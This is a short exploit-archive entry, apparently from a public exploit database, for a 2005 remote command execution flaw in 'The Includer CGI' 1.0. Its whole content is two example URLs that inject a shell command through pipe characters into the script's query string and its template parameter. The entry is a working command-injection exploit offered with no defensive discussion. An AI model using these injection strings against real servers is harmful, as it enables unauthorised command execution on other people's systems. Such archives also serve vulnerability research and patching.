[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : The Includer CGI <= 1.0 Remote Command Execution
# Published : 2005-03-07
# Author : Francisco Alisson
# Previous Title : Aztek Forum <= 4.0 [myadmin.php] Database Dumper Exploit
# Next Title : phpWebLog <= 0.5.3 Arbitrary File Inclusion


Remote Command Execution on:

Example I.: www.host-vulnerable.com/includer.cgi?|id|
Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

# www.Syue.com [2005-03-07]